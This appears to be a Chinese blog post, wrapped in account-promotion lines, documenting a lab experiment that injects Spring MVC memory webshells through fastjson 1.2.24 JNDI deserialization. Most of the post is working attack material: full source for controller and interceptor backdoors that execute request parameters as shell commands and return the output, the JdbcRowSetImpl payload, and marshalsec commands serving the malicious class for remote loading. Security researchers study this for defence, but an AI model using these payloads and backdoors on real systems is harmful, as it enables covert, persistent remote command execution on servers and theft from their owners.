点击关注公众号,回复“2T”获取2TB学习资源!

互联网架构师后台回复 2T 有特别礼包

上一篇:阿里排查Java问题工具清单!

此篇文章在于记录自己对spring内存马的实验研究

环境搭建

搭建漏洞环境,利用fastjson反序列化,通过JNDI下载恶意的class文件,触发恶意类的构造函数中代码,注入controller内存马。

1)组件版本:

fastjson: 1.2.24

spring-mvc: 4.3.28.RELEASE

JDK: 8u121

2)搭建springMVC+fastjson漏洞环境

可以参考网上的入门文章进行搭建,这里我放出我自己环境的配置文件

web.xml

<servlet><servlet-name>SpringMVC</servlet-name><servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class><!--配置springmvc.xml的路径--><init-param><param-name>contextConfigLocation</param-name><param-value>classpath:springmvc.xml</param-value></init-param></servlet><servlet-mapping><servlet-name>SpringMVC</servlet-name><url-pattern>/</url-pattern></servlet-mapping>
</web-app>

springmvc.xml

<!--将AnnotationHandler自动扫描到IOC容器中--><context:component-scan base-package="test.controller"></context:component-scan><mvc:annotation-driven/><!--配置视图解析器--><bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"><!--配置前缀--><property name="prefix" value="/"></property><!--配置后缀--><property name="suffix" value=".jsp"></property></bean></beans>

HelloController

@Controller
public class HelloController {@ResponseBody@RequestMapping(value = "/hello", method = RequestMethod.POST)public Object hello(@RequestParam("code")String code) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");System.out.println(code);Object object = JSON.parse(code);return code + "->JSON.parseObject()->" + object;}
}

pom.xml

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.11</version><scope>test</scope>
</dependency>
<!--SpringMVC依赖-->
<dependency><groupId>org.springframework</groupId><artifactId>spring-webmvc</artifactId><version>4.3.28.RELEASE</version>
</dependency>

动态注册controller

在springMVC中,也可以在服务器程序启动后,利用某种方式实现动态加载controller。搜索公众号互联网架构师复“2T”,送你一份惊喜礼包。

1)获取上下文

在LandGrey文章中介绍了四种方法,分别是

方式一:getCurrentWebApplicationContext

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

方法二:WebApplicationContextUtils

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

方法三:RequestContextUtils

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

方法四:getAttribute

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

而对于获取上下文来说,推荐使用第三、四种方法。前两种可能会获取不到RequestMappingHandlerMapping实例

2)注册controller

使用registerMapping方法来动态注册我们的恶意controller

// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);

除了使用registerMapping方法注册controller外,还有其余的方式可以参考

https://landgrey.me/blog/12/

内存马

以下是大佬的内存马,接下来进行一个改动,使之能进行回显

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;public class InjectToController {// 第一个构造函数public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中test的 Method 对象Method method2 = InjectToController.class.getMethod("test");// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/malicious");// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环InjectToController injectToController = new InjectToController("aaa");mappingHandlerMapping.registerMapping(info, injectToController, method2);}// 第二个构造函数public InjectToController(String aaa) {}// controller指定的处理方法public void test() throws  IOException{// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();// 获取cmd参数并执行命令java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));}
}

修改回显

把test代码中的内容替换为以下

// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();//exec
try {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{//当请求没有携带指定的参数(code)时,返回 404 错误response.sendError(404);}
}catch (Exception e){}

最终内存马,搜索公众号互联网架构师复“2T”,送你一份惊喜礼包。

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;public class InjectToController {// 第一个构造函数public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中test的 Method 对象Method method2 = InjectToController.class.getMethod("test");// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/malicious");// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环InjectToController injectToController = new InjectToController("aaa");mappingHandlerMapping.registerMapping(info, injectToController, method2);}// 第二个构造函数public InjectToController(String aaa) {}// controller指定的处理方法public void test() throws  IOException{// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();//exectry {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{//当请求没有携带指定的参数(code)时,返回 404 错误response.sendError(404);}}catch (Exception e){}}
}

测试

fastjson<=1.2.24的 payload:

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}

1)启动本地http服务,绑定端口8888

python3 -m http.server 8888

2)利用marshalsec启动LDAP服务,绑定端口9999

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999

3)访问存在fastjson反序列化的页面,http://localhost:8080/hello

发送payload:

{"b":
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}

成功写入内存马

踩坑

在实验过程中,我发现主要有两个比较难解决的点,导致实验难以继续

1.怎么编译恶意class文件

可以看到,一个恶意类是有大量的依赖,如果直接采用javac编译会报错

-》javac InjectToController.java
InjectToController.java:16: 错误: 编码GBK的不可映射字符// 绗竴涓瀯閫犲嚱鏁?^
InjectToController.java:19: 错误: 编码GBK的不可映射字符// 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean^
InjectToController.java:19: 错误: 编码GBK的不可映射字符// 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean^

这时候可以利用idea自带的编译特性,先运行项目,然后在其项目的target目录中寻找编译后的class文件即可,搜索公众号互联网架构师复“2T”,送你一份惊喜礼包。

2.可以弹出计算器,却无法注入内存马

直接进行debug后发现,在这一行代码会因为找不到RequestMappingHandlerMapping 的实例 bean而抛出异常

原因在于springmvc.xml文件中,没有开启<mvc:annotation-driven/>选项。

<mvc:annotation-driven/> 是为 MVC 提供额外的支持,参考 Spring 的官方文档,<mvc:annotation-driven/> 最主要的作用是注册 HandlerMapping(实现为 DefaultAnnotationHandlerMapping) 和 HandlerAdapter(实现为 AnnotationMethodHandlerAdapter) 两个类型的 Bean,这两个 Bean 为 @Controllers(所有控制器) 提供转发请求的功能。

而在Spring 3.1 开始及以后一般开始使用了新的RequestMappingHandlerMapping映射器。

后记

Interceptor内存马

其实不光是可以注入controller型的内存马,还可以注入Interceptor内存马

import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class TestInterceptor extends HandlerInterceptorAdapter {    public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {        // 获取context        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        // 从context中获取AbstractHandlerMapping的实例对象        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");        // 反射获取adaptedInterceptors属性        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");        field.setAccessible(true);        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);        // 避免重复添加        for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {            if (adaptedInterceptors.get(i) instanceof TestInterceptor) {                System.out.println("已经添加过TestInterceptor实例了");                return;            }        }        TestInterceptor aaa = new TestInterceptor("aaa");  // 避免进入实例创建的死循环        adaptedInterceptors.add(aaa);  //  添加全局interceptor    }    private TestInterceptor(String aaa){}    @Override    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        String code = request.getParameter("code");        // 不干扰正常业务逻辑        if (code != null) {            java.lang.Runtime.getRuntime().exec(code);            return true;        }        else {            return true;        }}}

注册效果:

参考

https://landgrey.me/blog/12/

https://www.cnblogs.com/bitterz/p/14820898.html

https://www.cnblogs.com/bitterz/p/14859766.html

感谢您的阅读,也欢迎您发表关于这篇文章的任何建议,关注我,技术不迷茫!小编到你上高速。

· END ·

最后,关注公众号互联网架构师,在后台回复:2T,可以获取我整理的 Java 系列面试题和答案,非常齐全。

正文结束

推荐阅读 ↓↓↓

1.不认命,从10年流水线工人,到谷歌上班的程序媛,一位湖南妹子的励志故事

2.深圳一普通中学老师工资单曝光,秒杀程序员,网友:敢问是哪个学校毕业的?

3.从零开始搭建创业公司后台技术栈

4.程序员一般可以从什么平台接私活?

5.清华大学:2021 元宇宙研究报告!

6.为什么国内 996 干不过国外的 955呢?

7.这封“领导痛批95后下属”的邮件,句句扎心!

8.15张图看懂瞎忙和高效的区别!

狂野!利用Fastjson注入Spring内存马~相关推荐

  1. 利用 Fastjson 注入 Spring 内存马,太秀了~!

    点击上方"Java基基",选择"设为星标" 做积极的人,而不是积极废人! 每天 14:00 更新文章,每天掉亿点点头发... 源码精品专栏 原创 | Java ...

  2. 再谈Spring内存马之Interceptor(内存马系列篇十)

    前置 什么是Interceptor技术? 在系统中,经常需要在处理用户请求之前和之后执行一些行为,例如检测用户的权限,或者将请求的信息记录到日志中,即平时所说的"权限检测"及&qu ...

  3. Goby 利用内存马中的一些技术细节【技术篇】

    一.前言 投稿在 Goby 社区的内存马文章已经写了两篇,在第一篇<Shell中的幽灵王者-JAVAWEB 内存马 [认知篇]>中介绍了 JavaWeb 内存马技术的历史演变.分类,从认知 ...

  4. Java内存马攻防实战——攻击基础篇

    ​ 在红蓝对抗中,攻击方广泛应用webshell等技术在防守方提供的服务中植入后门,防守方也发展出各种技术来应对攻击,传统的落地型webshell很容易被攻击方检测和绞杀.而内存马技术则是通过在运行的 ...

  5. 【网络安全】Agent内存马的自动分析与查杀

    前言 出发点是Java Agent内存马的自动分析与查杀,实际上其他内存马都可以通过这种方式查杀 本文主要的难点主要是以下三个,我会在文中逐个解答 如何dump出JVM中真正的当前的字节码 如何解决由 ...

  6. Java内存马简单实现

    文章目录 Tomcat内存马 JavaWeb 基本流程 Listener型内存马 恶意Listener监听器 动态注册Listener流程 构造Listener内存马 编写恶意Listener监听器 ...

  7. TemplatesImpl利用链与Fastjson注入内存马

    0x01 背景 之前文章中有说的,要加入星球访问:https://t.zsxq.com/0ahB6Mw1P TemplatesImpl利用链是一个非常重要的东西,要知道,CC链可以用它,CB链也用它, ...

  8. shiro 内存马_深入利用Shiro反序列化漏洞

    0x00:背景 ​ shiro反序列化RCE是在实战中一个比较高频且舒适的漏洞,shiro框架在java web登录认证中广泛应用,每一次目标较多的情况下几乎都可以遇见shiro,而因其payload ...

  9. 内存马检测与利用研究的优秀文章汇总

    出品|MS08067实验室(www.ms08067.com) 随着攻防技术演变,传统形式的jsp木马已经不能满足攻击者的需求,因此内存马(无文件落地Webshell)重回大众视野,成为RedTeam广 ...

  10. 免杀新姿势:利用线程将恶意代码注入到内存中

    本文讲的是免杀新姿势:利用线程将恶意代码注入到内存中, 产生存放远程攻击线程的进程 在这篇文章中我不想一步一步解释我编写的C#代码,但是我会展示下它能够绕过杀毒软件,并且操作非常简单,而且实用. 首先 ...

最新文章

  1. numpy逻辑运算符
  2. MATLAB 图像函数(第五章) 图像空间变换和图像配准
  3. ubuntu下安装各种软件
  4. knn k的选取_经典算法(四):KNN
  5. java获取教务系统成绩,Java httpClient 正方教务管理系统模拟登陆,爬取学生成绩和培养计划...
  6. Spark的新方案UnifiedMemoryManager内存管理模型分析
  7. Tomcat 8.0下载 官网
  8. android 蓝牙耳机插拔,一种插拔式蓝牙耳机的制作方法
  9. android12适配机型,安卓12支持机型有哪些?安卓12系统为什么有的软件用不了?...
  10. IBM PureApplication System如何使用DNS将工作负载部署到数据中心的网络上
  11. 一首关于远方和理想的小诗
  12. linkerd1.6 local安装方式文档
  13. 新科技巡礼:2017十大前沿科技产品有哪些?
  14. css中的@mixin的用法
  15. Win11连接投影仪没反应怎么解决?
  16. 普林斯顿微积分读本篇十:导数和图像
  17. 【Unity技术积累】模拟FPS射击功能 射线检测
  18. RFID ACCESS CONTROL门禁密码修改
  19. C# IEnumerator和IEnumerable的区别
  20. 定了!家庭教育指导师全国统一培训考核,报名通道今日开启!

热门文章

  1. 跨域——vue中的axios.post使用json数据传输,出现请求头字段内容类型是不被允许的情况的解决方案
  2. SpringBoot Logback配置,SpringBoot日志配置
  3. 基于jquery横向手风琴效果
  4. declare-styleable中format详解
  5. 普通二本,去了小公司,我也想改变
  6. 「leetcode」669. 修剪二叉搜索树:【递归】【迭代】详解
  7. 原创 leetcode[454]四数相加II /4Sum II 哈希策略
  8. 如何把视频做成电脑壁纸?Dynamic Wallpaper导入视频壁纸的方法
  9. 如何在 Mac 上将照片导出为不同的文件格式?
  10. mongoDB对没有字段的记录新增字段